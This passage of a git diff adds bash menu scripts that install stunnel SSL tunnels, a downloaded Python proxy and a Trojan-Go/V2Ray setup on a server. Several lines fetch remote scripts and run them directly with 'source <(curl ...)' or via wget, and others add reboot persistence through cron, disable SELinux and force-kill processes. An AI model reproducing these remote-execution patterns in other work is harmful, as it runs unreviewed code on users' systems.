\033[1;32mSTUNNEL (\033[1;37mS\033[1;32mS\033[1;32mL\033[1;33m)\033[1;31m. \033[1;33m" + helice + echo -e "\e[1DOk" +} + +function fix_py() { + helice() { + inst_py >/dev/null 2>&1 & + tput civis + while [ -d /proc/$! ]; do + for i in / - \\ \|; do + sleep .1 + echo -ne "\e[1D$i" + done + done + tput cnorm + } + echo -ne "\033[1;37m INSTALANDO \033[1;32m PYTHON (\033[1;37mS\033[1;32mO\033[1;32mC\033[1;33mK\033[1;31mS\033[1;33m)\033[1;32m . \033[1;33m" + helice + echo -e "\e[1DOk" +} + + +inst_ssl () { +pkill -f stunnel4 +apt purge stunnel4 -y > /dev/null 2>&1 +apt install stunnel4 -y > /dev/null 2>&1 +echo -e "cert = /etc/stunnel/stunnel.pem\nclient = no\nsocket = a:SO_REUSEADDR=1\nsocket = l:TCP_NODELAY=1\nsocket = r:TCP_NODELAY=1\n\n[stunnel]\naccept = 443\nconnect = 127.0.0.1:80\n" > /etc/stunnel/stunnel.conf +openssl genrsa -out key.pem 2048 > /dev/null 2>&1 +(echo "$(curl -sSL ipinfo.io > info && cat info | grep country | awk '{print $2}' | sed -e 's/[^a-z0-9 -]//ig')" ; echo "" ; echo "$(cat < /bin/ejecutar/IPcgh):81" ; echo "" ; echo "" ; echo "" ; echo "@cloudflare" )|openssl req -new -x509 -key key.pem -out cert.pem -days 1095 > /dev/null 2>&1 +cat key.pem cert.pem >> /etc/stunnel/stunnel.pem +sed -i 's/ENABLED=0/ENABLED=1/g' /etc/default/stunnel4 +service stunnel4 restart > /dev/null 2>&1 +rm -f info key.pem cert.pem +} + + +inst_py () { +sed -i '/PDirect80.py/d' /bin/autoboot +#msg -bar + #msg -nama ' Descargando binario Compilado !! ' +wget -O $HOME/PDirect80.py 'https://gitea.com/drowkid01/scriptdk1/raw/branch/main/Recursos/menu_inst/autoconfig-sh/PDirect.py' +screen -dmS "ws80" python $HOME/PDirect80.py & > /root/proxy.log +} + +menuintro() { +clear&&clear +msg -bar #echo -e "\033[1;31m———————————————————————————————————————————————————\033[1;37m" +echo -e "\033[1;32m SSL + ( Payload / Directo ) | by: @drowkid01 " +msg -bar #echo -e "\033[1;31m———————————————————————————————————————————————————\033[1;37m" +echo -e "\033[1;36m SCRIPT REESTRUCTURA y AUTOCONFIGURACION " +msg -bar #echo -e "\033[1;31m———————————————————————————————————————————————————\033[1;37m" +echo -e "\033[1;37m Requiere tener el puerto libre 443 y el 80" +msg -bar +echo -e "\033[1;32m Visita https://t.me/drowkid01, para detalles " +msg -bar + while : + do + #col "5)" "\033[1;33mCONFIGURAR Trojan" +col "1)" "\033[1;33mSSL + (Payload/Directo) - AUTO INSTALL" + #msg -bar +col "2)" "\033[1;33mCONFIGURAR PYTHON (RESPONSE STATUS 200)" + +col "3)" "\033[1;33mRemover AUTOCONFIG (Payload+SSL)" + msg -bar + col "0)" "SALIR \033[0;31m" + msg -bar + blanco "opcion" 0 + read opcion + case $opcion in + 1) + clear&&clear + source /etc/adm-lite/cabecalho + msg -nama ' RECONFIGURANDO STUNNEL (SSL) !! ' + echo '' + fix_ssl + msg -nama ' RECONFIGURANDO PYTHON SOCKS 80 !! ' + echo '' + fix_py + #------------------------------------------------------------------- + print_center -verd " ${aLerT} VERIFICANDO ACTIVIDAD DE SOCK PYTHON ${aLerT} \n ${aLerT} PORVAFOR ESPERE !! ${aLerT} " +autoboot &> /dev/null +sleep 2s && tput cuu1 && tput dl1 +sleep 1s && tput cuu1 && tput dl1 + +[[ $(ps x | grep "ws80 python" |grep -v grep ) ]] && { +msg -bar +print_center -verd " REACTIVADOR DE SOCK Python 80 ENCENDIDO " +[[ $(grep -wc "ws80" /bin/autoboot) = '0' ]] && { + echo -e "netstat -tlpn | grep -w 80 > /dev/null || { screen -r -S 'ws80' -X quit; screen -dmS ws80 python $HOME/PDirect80.py & >> /root/proxy.log ; }" >>/bin/autoboot + } || { + sed -i '/ws80/d' /bin/autoboot + echo -e "netstat -tlpn | grep -w 80 > /dev/null || { screen -r -S 'ws80' -X quit; screen -dmS ws80 python $HOME/PDirect80.py & >> /root/proxy.log ; }" >>/bin/autoboot + } +crontab -l > /root/cron +[[ -z $(cat < /root/cron | grep 'autoboot') ]] && echo "@reboot /bin/autoboot" >> /root/cron || { + [[ $(grep -wc "autoboot" /root/cron) > "1" ]] && { + sed -i '/autoboot/d' /root/cron + echo "@reboot /bin/autoboot" >> /root/cron + } +} + +crontab /root/cron +service cron restart +sleep 2s && tput cuu1 && tput dl1 +} || { +print_center -azu " FALTA ALGUN PARAMETRO PARA INICIAR REACTIVADOR " +sleep 2s && tput cuu1 && tput dl1 +return +} +tput cuu1 && tput dl1 +msg -bar +[[ $(ps x | grep -w "PDirect80.py" | grep -v "grep" | awk -F "pts" '{print $1}') ]] && print_center -verd "PYTHON INICIADO CON EXITO!!!" || print_center -ama " ERROR AL INICIAR PYTHON!!!" +msg -bar +sleep 1 + echo -e " INSTALACIÓN TERMINADA" + msg -bar + echo -e "Solucionado el error de conectividad mediante el puerto $porta con SNI" + break + ;; + 2) + source <(curl -sSL https://raw.githubusercontent.com/emirjorge/Script-Z/master/CHUMO/Recursos/menu_inst/autoconfig-sh/Proxy.sh) + ;; + 3) + kill $(ps x | grep -w "PDirect80" | grep -v grep | cut -d ' ' -f1) &>/dev/null + sed -i '/PDirect80/d' /bin/autoboot + screen -wipe &>/dev/null + autoboot &>/dev/null + ;; + 0) break;; + *) blanco "\n selecione una opcion del 0 al 2" && sleep 1;; + esac + done +continuar +} +#chekKEY &> /dev/null 2>&1 +menuintro + diff --git a/Recursos/menu_inst/front.sh b/Recursos/menu_inst/front.sh new file mode 100644 index 0000000..9c9ac05 --- /dev/null +++ b/Recursos/menu_inst/front.sh @@ -0,0 +1,223 @@ +#!/bin/bash +#PUTO EL QUE LO DESENCRIPTA +#colores +lor1='\033[1;31m';lor2='\033[1;32m';lor3='\033[1;33m';lor4='\033[1;34m';lor5='\033[1;35m';lor6='\033[1;36m';lor7='\033[1;37m' + +fun_bar () { + comando[0]="$1" + comando[1]="$2" + ( + [[ -e $HOME/fim ]] && rm $HOME/fim + ${comando[0]} > /dev/null 2>&1 + ${comando[1]} > /dev/null 2>&1 + touch $HOME/fim + ) > /dev/null 2>&1 & + tput civis + echo -e "${lor7}---------------------------------------------------${lor7}" + echo -ne "${lor7} ESPERE.${lor1}[" + while true; do + for((i=0; i<18; i++)); do + echo -ne "${lor5}#" + sleep 0.1s + done + [[ -e $HOME/fim ]] && rm $HOME/fim && break + echo -e "${col5}" + sleep 0.3s + tput cuu1 + tput dl1 + echo -ne "${lor7} WAIT..${lor1}[" + done + echo -e "${lor1}]${lor7} -${lor7} FINISHED ${lor7}" + tput cnorm + echo -e "${lor7}---------------------------------------------------${lor7}" + } + +banner=" ___ _ _ _ _ + / _ \_ __ ___ | |_ ___ /\ /(_) | | + / /_)/ '__/ _ \| __/ _ \ / //_/ | | | + / ___/| | | (_) | || (_) / __ \| | | | + \/ |_| \___/ \__\___/\/ \/|_|_|_| " + +espe () { +echo -e "${lor7}" +read -p " Enter to Continue.. 0 to return" +} + +clear&&clear +echo -e "${lor4}***************************************************${lor7}" +echo -e "${lor2} SSL STUNNEL MANAGER " +echo -e "${lor1}===================================================${lor7} " +echo -e "${lor4}$banner ${lor7}" +echo -e "${lor7} Mini Script Panel created by @KillShito " +echo -e "${lor1}[-]——————————————————————————————————————————————[-]${lor7}" +[[ $(netstat -nplt |grep 'stunnel4') ]] && sessl="STOP SERVICE ${lor2}ON" || sessl="START SERVICE ${lor1}OFF" +echo -e "${lor7}[${lor2}1${lor7}] ${lor3}==>${lor7} INSTALL SSL STUNNEL" +echo -e "${lor7}[${lor2}2${lor7}] ${lor3}==>${lor7} UNINSTALL SSL STUNNEL " +echo -e "${lor7}[${lor2}3${lor7}] ${lor3}==>${lor7} ADD NEW PORT " +echo -e "${lor7}[${lor2}4${lor7}] ${lor3}==>${lor7} $sessl " +echo -e "${lor7}[${lor2}5${lor7}] ${lor3}==>${lor7} CERTIFICATE " +echo -e "${lor1}[-]——————————————————————————————————————————————[-]${lor7}" +echo -e "${lor7}[${lor2}0${lor7}] ${lor3}==>${lor7} SALIR " +echo -e "${lor1}[-]——————————————————————————————————————————————[-]${lor7}" +read -p "SELECT OPTION :" opci +if [ "$opci" = "1" ];then +if [ -f /etc/stunnel/stunnel.conf ]; then +echo;echo -e "${lor1} ALREADY INSTALLED" +else +echo;echo -e "${lor7} Local port ${lor6}" +pt=$(netstat -nplt |grep 'sshd' | awk -F ":" NR==1{'print $2'} | cut -d " " -f 1) +read -p " PORTA :" -e -i $pt PT +echo;echo -e "${lor7} Listen-SSL ${lor6}" +read -p " PORTA :" sslpt +if [ -z $sslpt ]; then +echo;echo -e "${lor1} INVALID PORT" +else +if (echo $sslpt | egrep '[^0-9]' &> /dev/null);then +echo;echo -e "${lor1} YOU MUST ENTER A NUMBER" +else +if lsof -Pi :$sslpt -sTCP:LISTEN -t >/dev/null ; then +echo;echo -e "${lor1} THE PORT IS ALREADY IN USE" +else +inst_ssl () { +apt-get purge stunnel4 -y +apt-get purge stunnel -y +apt-get install stunnel -y +apt-get install stunnel4 -y +pt=$(netstat -nplt |grep 'sshd' | awk -F ":" NR==1{'print $2'} | cut -d " " -f 1) +echo -e "cert = /etc/stunnel/stunnel.pem\nclient = no\nsocket = a:SO_REUSEADDR=1\nsocket = l:TCP_NODELAY=1\nsocket = r:TCP_NODELAY=1\n\n[stunnel]\nconnect = 127.0.0.1:${PT}\naccept = ${sslpt}" > /etc/stunnel/stunnel.conf +openssl genrsa -out key.pem 2048 > /dev/null 2>&1 +(echo "$(curl -sSL ipinfo.io > info && cat info | grep country | awk '{print $2}' | sed -e 's/[^a-z0-9 -]//ig')" ; echo "" ; echo "$(wget -qO- ifconfig.me):81" ; echo "" ; echo "" ; echo "" ; echo "@drowkid01")|openssl req -new -x509 -key key.pem -out cert.pem -days 1095 > /dev/null 2>&1 +cat key.pem cert.pem >> /etc/stunnel/stunnel.pem +rm -rf key.pem;rm -rf cert.pem +sed -i 's/ENABLED=0/ENABLED=1/g' /etc/default/stunnel4 +service stunnel4 restart +service stunnel restart +service stunnel4 start +} +fun_bar 'inst_ssl' +echo;echo -e "${lor2} SSL STUNNEL INSTALLED " +fi;fi;fi;fi +fi +if [ "$opci" = "2" ];then +del_ssl () { +service stunnel4 stop +apt-get remove stunnel4 -y +apt-get purge stunnel4 -y +apt-get purge stunnel -y +rm -rf /etc/stunnel +rm -rf /etc/stunnel/stunnel.conf +rm -rf /etc/default/stunnel4 +rm -rf /etc/stunnel/stunnel.pem +} +fun_bar 'del_ssl' +echo;echo -e "${lor2} SSL STUNNEL WAS REMOVED " +fi +if [ "$opci" = "3" ];then +if [ -f /etc/stunnel/stunnel.conf ]; then +echo;echo -e "${lor7}Enter a name for the SSL Redirector${lor6}" +read -p " :" -e -i stunnel namessl +echo;echo -e "${lor7}Enter the port of the Service to bind${lor6}" +pt=$(netstat -nplt |grep 'sshd' | awk -F ":" NR==1{'print $2'} | cut -d " " -f 1) +read -p " :" -e -i $pt PT +echo;echo -e "${lor7}Enter the New SSL Port${lor6}" +read -p " :" sslpt +if [ -z $sslpt ]; then +echo;echo -e "${lor1} INVALID PORT" +else +if (echo $sslpt | egrep '[^0-9]' &> /dev/null);then +echo;echo -e "${lor1} YOU MUST ENTER A NUMBER" +else +if lsof -Pi :$sslpt -sTCP:LISTEN -t >/dev/null ; then +echo;echo -e "${lor1} THE PORT IS ALREADY IN USE" +else +addgf () { +echo -e "\n[$namessl] " >> /etc/stunnel/stunnel.conf +echo "connect = 127.0.0.1:$PT" >> /etc/stunnel/stunnel.conf +echo "accept = $sslpt " >> /etc/stunnel/stunnel.conf +service stunnel4 restart 1> /dev/null 2> /dev/null +service stunnel restart 1> /dev/null 2> /dev/null +sleep 2 +} +fun_bar 'addgf' +echo;echo -e "${lor2} NEW PORT ADDED $sslpt !${lor7}" +fi;fi;fi +else +echo;echo -e "${lor1} SSL STUNEEL NOT INSTALLED !${lor7}" +fi +fi +if [ "$opci" = "4" ];then +if [ -f /etc/stunnel/stunnel.conf ];then +if netstat -nltp|grep 'stunnel4' > /dev/null; then +service stunnel stop 1> /dev/null 2> /dev/null +service stunnel4 stop 1> /dev/null 2> /dev/null +echo;echo -e "${lor1} SERVICE STOPPED " +else +service stunnel start 1> /dev/null 2> /dev/null +service stunnel4 start 1> /dev/null 2> /dev/null +echo;echo -e "${lor2} SERVICE STARTED " +fi +else +echo;echo -e "${lor1} SSL STUNNEL IS NOT INSTALLED " +fi +fi + +if [ "$opci" = "5" ];then +if [ -f /etc/stunnel/stunnel.conf ]; then +insapa2(){ +for pid in $(pgrep python);do +kill $pid +done +for pid in $(pgrep apache2);do +kill $pid +done +service dropbear stop +apt install apache2 -y +echo "Listen 80 + + + Listen 443 + + + + Listen 443 + " > /etc/apache2/ports.conf +service apache2 restart +} +fun_bar 'insapa2' +echo;echo -e "${lor7} Verify Domain ${lor6}" +read -p " KEY:" keyy +echo +read -p " DATA:" dat2w +mkdir -p /var/www/html/.well-known/pki-validation/ +datfr1=$(echo "$dat2w"|awk '{print $1}') +datfr2=$(echo "$dat2w"|awk '{print $2}') +datfr3=$(echo "$dat2w"|awk '{print $3}') +echo -ne "${datfr1}\n${datfr2}\n${datfr3}" >/var/www/html/.well-known/pki-validation/$keyy.txt +echo;echo -e "${lor3} CHECK ON THE ZEROSSL PAGE ${lor7}" +read -p " ENTER TO CONTINUE" +echo;echo -e "${lor7} CERTIFICATE LINK ${lor6}" +echo -e "${lor6} LINK ${lor1}> ${lor7}\c" +read linksd +inscerts(){ +wget $linksd -O /etc/stunnel/certificado.zip +cd /etc/stunnel/ +unzip certificado.zip +cat private.key certificate.crt ca_bundle.crt > stunnel.pem +service stunnel restart +service stunnel4 restart +} +fun_bar 'inscerts' +sed -i "s;Listen 80;Listen 81;g" /etc/apache2/ports.conf +service apache2 restart > /dev/null +echo;echo -e "${lor2} CERTIFICATE INSTALLED ${lor7}" +else +echo;echo -e "${lor1} SSL STUNNEL IS NOT INSTALLED " +fi +fi +[[ $opci = "0" ]] && { +sed -i "s;Listen 80;Listen 81;g" /etc/apache2/ports.conf +service apache2 restart + exit && menu + } +espe +source <(curl -sSL https://gitea.com/drowkid01/scriptdk1/raw/branch/main/Recursos/menu_inst/front.sh) diff --git a/Recursos/menu_inst/h_beta-sh/trojan-go b/Recursos/menu_inst/h_beta-sh/trojan-go new file mode 100644 index 0000000..a332e51 --- /dev/null +++ b/Recursos/menu_inst/h_beta-sh/trojan-go @@ -0,0 +1,1308 @@ +#!/bin/bash + +#MIT License +#Copyright (c) 2020 h31105 + +#A permissão é concedida, gratuitamente, a qualquer pessoa que obtenha uma cópia +#deste software e arquivos de documentação associados (o "Software"), para lidar +#no Software sem restrição, incluindo, sem limitação, os direitos +#para usar, copiar, modificar, mesclar, publicar, distribuir, sublicenciar e / ou vender +#cópias do Software, e para permitir que as pessoas a quem o Software é +#fornecido para fazê-lo, sujeito às seguintes condições: +#O aviso de direitos autorais acima e este aviso de permissão devem ser incluídos em todos +#cópias ou partes substanciais do Software. + +#O SOFTWARE É FORNECIDO "COMO ESTÁ", SEM GARANTIA DE QUALQUER TIPO, EXPRESSA OU +#IMPLÍCITA, INCLUINDO, MAS NÃO SE LIMITANDO ÀS GARANTIAS DE COMERCIALIZAÇÃO, +#ADEQUAÇÃO A UMA FINALIDADE ESPECÍFICA E NÃO VIOLAÇÃO. EM NENHUMA HIPÓTESE O +#AUTORES OU TITULARES DE DIREITOS AUTORAIS SÃO RESPONSÁVEIS POR QUALQUER RECLAMAÇÃO, DANOS OU OUTROS +#RESPONSABILIDADE, SEJA EM AÇÃO DE CONTRATO, DELITO OU DE OUTRA FORMA, DECORRENTE DE, +#FORA DE OU EM CONEXÃO COM O SOFTWARE OU O USO OU OUTRAS NEGOCIAÇÕES NO +#SOFTWARE. + +#==================================================== +# Solicitação do sistema: Debian 9+/Ubuntu 18.04+/Centos 7+ +# Autor: Miroku/h31105 +# Descrição: TLS-Shunt-Proxy&Trojan-Go&V2Ray Script +# Documento oficial: +# https://www.v2ray.com/ +# https://github.com/p4gefau1t/trojan-go +# https://github.com/liberal-boy/tls-shunt-proxy +# https://www.docker.com/ +# https://github.com/containrrr/watchtower +# https://github.com/portainer/portainer +# https://github.com/wulabing/V2Ray_ws-tls_bash_onekey +#==================================================== + +PATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin:~/bin +export PATH + +cd "$( + cd "$(dirname "$0")" || exit + pwd +)" || exit + +#Fonts Color +Green="\033[32m" +Red="\033[31m" +Yellow="\033[33m" +GreenBG="\033[42;30m" +RedBG="\033[41;30m" +Font="\033[0m" + +#Notification Information +OK="${Green}[OK]${Font}" +WARN="${Yellow}[警告]${Font}" +Error="${Red}[错误]${Font}" + +#版本、初始化变量 +shell_version="1.183" +tsp_cfg_version="0.61.1" +#install_mode="docker" +upgrade_mode="none" +github_branch="master" +version_cmp="/tmp/version_cmp.tmp" +tsp_conf_dir="/etc/tls-shunt-proxy" +trojan_conf_dir="/etc/trojan-go" +v2ray_conf_dir="/etc/v2ray" +tsp_conf="${tsp_conf_dir}/config.yaml" +tsp_cert_dir="/etc/ssl/tls-shunt-proxy/certificates/acme-v02.api.letsencrypt.org-directory" +trojan_conf="${trojan_conf_dir}/config.json" +v2ray_conf="${v2ray_conf_dir}/config.json" +web_dir="/home/wwwroot" +random_num=$((RANDOM % 3 + 7)) + +#shellcheck disable=SC1091 +source '/etc/os-release' + +#Extraia o nome em inglês do sistema de lançamento de VERSION +VERSION=$(echo "${VERSION}" | awk -F "[()]" '{print $2}') + +check_system() { + if [[ "${ID}" == "centos" && ${VERSION_ID} -eq 7 ]]; then + echo -e "${OK} ${GreenBG} O sistema atual é Centos ${VERSION_ID} ${VERSION} ${Font}" + INS="yum -y -q" + elif [[ "${ID}" == "centos" && ${VERSION_ID} -ge 8 ]]; then + echo -e "${OK} ${GreenBG} O sistema atual é Centos ${VERSION_ID} ${VERSION} ${Font}" + INS="dnf -y" + elif [[ "${ID}" == "debian" && ${VERSION_ID} -ge 8 ]]; then + echo -e "${OK} ${GreenBG} O sistema atual é Debian ${VERSION_ID} ${VERSION} ${Font}" + INS="apt -y -qq" + elif [[ "${ID}" == "ubuntu" && $(echo "${VERSION_ID}" | cut -d '.' -f1) -ge 16 ]]; then + echo -e "${OK} ${GreenBG} O sistema atual é Ubuntu ${VERSION_ID} ${UBUNTU_CODENAME} ${Font}" + INS="apt -y -qq" + else + echo -e "${Error} ${RedBG} O sistema atual é ${ID} ${VERSION_ID} Não consta da lista de sistemas suportados, a instalação foi interrompida ${Font}" + exit 1 + fi +} + +is_root() { + if [ 0 == $UID ]; then + echo -e "${OK} ${GreenBG} O usuário atual é o usuário root, continue a executar ${Font}" + sleep 1 + else + echo -e "${Error} ${RedBG} O usuário atual não é o usuário root, mude para o usuário root e execute novamente o script ${Font}" + exit 1 + fi +} + +judge() { + #shellcheck disable=SC2181 + if [[ 0 -eq $? ]]; then + echo -e "${OK} ${GreenBG} $1 Terminar ${Font}" + sleep 1 + else + echo -e "${Error} ${RedBG} $1 falhou ${Font}" + exit 1 + fi +} + +urlEncode() { + jq -R -r @uri <<<"$1" +} + +chrony_install() { + ${INS} install chrony + judge "Instale o serviço de sincronização de tempo Chrony" + timedatectl set-ntp true + if [[ "${ID}" == "centos" ]]; then + systemctl enable chronyd && systemctl restart chronyd + else + systemctl enable chrony && systemctl restart chrony + fi + judge "Chrony 启动" + timedatectl set-timezone Asia/Shanghai + echo -e "${OK} ${GreenBG} Esperando pela sincronização de tempo ${Font}" + sleep 10 + chronyc sourcestats -v + chronyc tracking -v + date + read -rp "Por favor, confirme se o tempo está correto, a faixa de erro é de ± 3 minutos (Y/N) [Y]: " chrony_install + [[ -z ${chrony_install} ]] && chrony_install="Y" + case $chrony_install in + [yY][eE][sS] | [yY]) + echo -e "${GreenBG} Continue a execução ${Font}" + sleep 2 + ;; + *) + echo -e "${RedBG} Terminar execução ${Font}" + exit 2 + ;; + esac +} + +dependency_install() { + if [[ "${ID}" == "centos" && ${VERSION_ID} -eq 7 ]]; then + yum install epel-release -y -q + elif [[ "${ID}" == "centos" && ${VERSION_ID} -ge 8 ]]; then + dnf install epel-release -y -q + dnf config-manager --set-enabled PowerTools + dnf upgrade libseccomp + elif [[ "${ID}" == "debian" && ${VERSION_ID} -ge 8 ]]; then + $INS update + elif [[ "${ID}" == "ubuntu" && $(echo "${VERSION_ID}" | cut -d '.' -f1) -ge 16 ]]; then + $INS update + fi + $INS install dbus + ${INS} install git lsof unzip + judge "Instale dependências git lsof unzip" + ${INS} install haveged + systemctl start haveged && systemctl enable haveged + command -v bc >/dev/null 2>&1 || ${INS} install bc + judge "Instale dependências bc" + command -v jq >/dev/null 2>&1 || ${INS} install jq + judge "Instale dependências jq" + command -v sponge >/dev/null 2>&1 || ${INS} install moreutils + judge "Instale dependências moreutils" + command -v qrencode >/dev/null 2>&1 || ${INS} install qrencode + judge "Instale dependências qrencode" +} + +basic_optimization() { + # 最大文件打开数 + sed -i '/^\*\ *soft\ *nofile\ *[[:digit:]]*/d' /etc/security/limits.conf + sed -i '/^\*\ *hard\ *nofile\ *[[:digit:]]*/d' /etc/security/limits.conf + echo '* soft nofile 65536' >>/etc/security/limits.conf + echo '* hard nofile 65536' >>/etc/security/limits.conf + # 关闭 Selinux + if [[ "${ID}" == "centos" ]]; then + sed -i 's/^SELINUX=.*/SELINUX=disabled/' /etc/selinux/config + setenforce 0 + fi +} + +config_exist_check() { + if [[ -f "$1" ]]; then + echo -e "${OK} ${GreenBG} O arquivo de configuração antigo é detectado e o backup da configuração do arquivo antigo é feito automaticamente ${Font}" + cp "$1" "$1.$(date +%Y%m%d%H)" + echo -e "${OK} ${GreenBG} Foi feito backup da configuração antiga ${Font}" + fi +} + +domain_port_check() { + read -rp "Insira a porta TLS (padrão 443):" tspport + [[ -z ${tspport} ]] && tspport="443" + read -rp "Insira as informações do seu nome de domínio (por exemplo, fk.gfw.com):" domain + domain=$(echo "${domain}" | tr '[:upper:]' '[:lower:]') + domain_ip=$(ping -q -c 1 -t 1 "${domain}" | grep PING | sed -e "s/).*//" | sed -e "s/.*(//") + echo -e "${OK} ${GreenBG} Obtendo informações de IP de rede pública, aguarde pacientemente ${Font}" + local_ip=$(curl -s https://api64.ipify.org) + echo -e "IP de resolução de DNS de nome de domínio:${domain_ip}" + echo -e "本机IP: ${local_ip}" + sleep 2 + if [[ "${local_ip}" = "${domain_ip}" ]]; then + echo -e "${OK} ${GreenBG} O IP de resolução DNS do nome de domínio corresponde ao IP local ${Font}" + sleep 2 + else + echo -e "${Error} ${RedBG} Certifique-se de que o registro A / AAAA correto seja adicionado ao nome de domínio, caso contrário, não será possível conectar-se normalmente ${Font}" + echo -e "${Error} ${RedBG} Se o IP de resolução DNS do nome de domínio não corresponder ao IP da máquina, o aplicativo de certificado SSL falhará. Deseja continuar a instalação?(Y/N)[N]${Font}" && read -r install + case $install in + [yY][eE][sS] | [yY]) + echo -e "${GreenBG} Continue a instalar ${Font}" + sleep 2 + ;; + *) + echo -e "${RedBG} Instalação encerrada ${Font}" + exit 2 + ;; + esac + fi +} + +port_exist_check() { + if [[ 0 -eq $(lsof -i:"$1" | grep -i -c "listen") ]]; then + echo -e "${OK} ${GreenBG} $1 A porta não está ocupada ${Font}" + sleep 1 + else + echo -e "${Error} ${RedBG} A porta $1 detectada está ocupada, segue-se a informação de ocupação da porta $1 ${Font}" + lsof -i:"$1" + echo -e "${OK} ${GreenBG} 5s Tentará matar automaticamente o processo ocupado ${Font}" + sleep 5 + lsof -i:"$1" | awk '{print $2}' | grep -v "PID" | xargs kill -9 + echo -e "${OK} ${GreenBG} Kill Completo ${Font}" + sleep 1 + fi +} + +service_status_check() { + if systemctl is-active "$1" &>/dev/null; then + echo -e "${OK} ${GreenBG} $1 Começou ${Font}" + if systemctl is-enabled "$1" &>/dev/null; then + echo -e "${OK} ${GreenBG} $1 É um item de inicialização ${Font}" + else + echo -e "${WARN} ${Yellow} $1 Não é um item inicializável ${Font}" + systemctl enable "$1" + judge "Defina $1 para começar na inicialização" + fi + else + echo -e "${Error} ${RedBG} Detectado que o serviço $1 não foi iniciado e está tentando iniciar... ${Font}" + systemctl restart "$1" && systemctl enable "$1" + judge "Tente começar $1 " + sleep 5 + if systemctl is-active "$1" &>/dev/null; then + echo -e "${OK} ${GreenBG} $1 Começou ${Font}" + else + echo -e "${WARN} ${Yellow} Tente reinstalar e reparar $1 e tente novamente ${Font}" + exit 4 + fi + fi +} + +prereqcheck() { + service_status_check docker + if [[ -f ${tsp_conf} ]]; then + service_status_check tls-shunt-proxy + else + echo -e "${Error} ${RedBG} A configuração TLS-Shunt-Proxy está anormal, tente reinstalar ${Font}" + exit 4 + fi +} + +trojan_reset() { + config_exist_check ${trojan_conf} + [[ -f ${trojan_conf} ]] && rm -rf ${trojan_conf} + if [[ -f ${tsp_conf} ]]; then + TSP_Domain=$(grep '#TSP_Domain' ${tsp_conf} | sed -r 's/.*: (.*) #.*/\1/') && echo -e "O nome de domínio TLS detectado é: ${TSP_Domain}" + else + echo -e "${Error} ${RedBG} A configuração TLS-Shunt-Proxy está anormal e as informações do nome de domínio TLS não podem ser detectadas. Reinstale e tente novamente ${Font}" + exit 4 + fi + read -rp "Por favor, digite a senha (Trojan-Go), ou padrão é aleatório :" tjpasswd + [[ -z ${tjpasswd} ]] && tjpasswd=$(head -n 10 /dev/urandom | md5sum | head -c ${random_num}) + echo -e "${OK} ${GreenBG} Trojan-Go 密码: ${tjpasswd} ${Font}" + read -rp "Deseja habilitar o suporte ao modo WebSocket (Y/N) [N]:" trojan_ws_mode + [[ -z ${trojan_ws_mode} ]] && trojan_ws_mode=false + case $trojan_ws_mode in + [yY][eE][sS] | [yY]) + tjwspath="/trojan/$(head -n 10 /dev/urandom | md5sum | head -c ${random_num})/" + echo -e "${OK} ${GreenBG} O modo Trojan-Go WebSocket está ativado, WSPATH: ${tjwspath} ${Font}" + trojan_ws_mode=true + ;; + *) + trojan_ws_mode=false + ;; + esac + trojan_tcp_mode=true + tjport=$((RANDOM % 6666 + 10000)) && echo -e "${OK} ${GreenBG} A porta de escuta do Trojan-Go é: $tjport ${Font}" + mkdir -p $trojan_conf_dir + cat >$trojan_conf <<-EOF +{ + "run_type": "server", + "disable_http_check": true, + "local_addr": "127.0.0.1", + "local_port": ${tjport}, + "remote_addr": "1.1.1.1", + "remote_port": 80, + "fallback_addr": "1.1.1.1", + "fallback_port": 443, + "password": ["${tjpasswd}"], + "transport_plugin": { + "enabled": true, + "type": "plaintext" + }, + "websocket": { + "enabled": ${trojan_ws_mode}, + "path": "${tjwspath}", + "host": "${TSP_Domain}" + } +} +EOF + judge "Trojan-Go Geração de configuração" + port_exist_check $tjport + trojan_sync + judge "Sincronizar as definições de configuração do Trojan-Go" + systemctl restart tls-shunt-proxy && service_status_check tls-shunt-proxy + judge "Configurações do aplicativo TLS-Shunt-Proxy" +} + +modify_trojan() { + deployed_status_check + echo -e "${WARN} ${Yellow} Modificar a configuração do Trojan-Go redefinirá as informações de configuração do proxy existente, se deve continuar (Y/N) [N]? ${Font}" + read -r modify_confirm + [[ -z ${modify_confirm} ]] && modify_confirm="No" + case $modify_confirm in + [yY][eE][sS] | [yY]) + prereqcheck + trojan_reset + docker restart Trojan-Go + ;; + *) ;; + esac +} + +trojan_sync() { + [[ -z $tjport ]] && tjport=40001 + [[ -z $tjwspath ]] && tjwspath=/trojan/none + [[ -z $trojan_tcp_mode ]] && trojan_tcp_mode=none + [[ -z $trojan_ws_mode ]] && trojan_ws_mode=none + if [[ ${trojan_tcp_mode} = true ]]; then + sed -i "/trojan: #Trojan_TCP/c \\ trojan: #Trojan_TCP" ${tsp_conf} + sed -i "/handler: proxyPass #Trojan_TCP/c \\ handler: proxyPass #Trojan_TCP" ${tsp_conf} + sed -i "/#Trojan_TCP_Port/c \\ args: 127.0.0.1:${tjport} #Trojan_TCP_Port:${trojan_tcp_mode}" ${tsp_conf} + else + sed -i "/trojan: #Trojan_TCP/c \\ #trojan: #Trojan_TCP" ${tsp_conf} + sed -i "/handler: proxyPass #Trojan_TCP/c \\ #handler: proxyPass #Trojan_TCP" ${tsp_conf} + sed -i "/#Trojan_TCP_Port/c \\ #args: 127.0.0.1:${tjport} #Trojan_TCP_Port:${trojan_tcp_mode}" ${tsp_conf} + fi + if [[ ${trojan_ws_mode} = true ]]; then + sed -i "/#Trojan_WS_Path/c \\ - path: ${tjwspath} #Trojan_WS_Path" ${tsp_conf} + sed -i "/handler: proxyPass #Trojan_WS/c \\ handler: proxyPass #Trojan_WS" ${tsp_conf} + sed -i "/#Trojan_WS_Port/c \\ args: 127.0.0.1:${tjport} #Trojan_WS_Port:${trojan_ws_mode}" ${tsp_conf} + else + sed -i "/#Trojan_WS_Path/c \\ #- path: ${tjwspath} #Trojan_WS_Path" ${tsp_conf} + sed -i "/handler: proxyPass #Trojan_WS/c \\ #handler: proxyPass #Trojan_WS" ${tsp_conf} + sed -i "/#Trojan_WS_Port/c \\ #args: 127.0.0.1:${tjport} #Trojan_WS_Port:${trojan_ws_mode}" ${tsp_conf} + fi +} + +v2ray_mode_type() { + read -rp "Selecione o tipo de protocolo do modo TCP V2Ray:VMess(M)/VLESS(L),Pular por padrão,(M/L) [Skip]:" v2ray_tcp_mode + [[ -z ${v2ray_tcp_mode} ]] && v2ray_tcp_mode="none" + case $v2ray_tcp_mode in + [mM]) + echo -e "${GreenBG} Protocolo de modo TCP selecionado VMess ${Font}" + 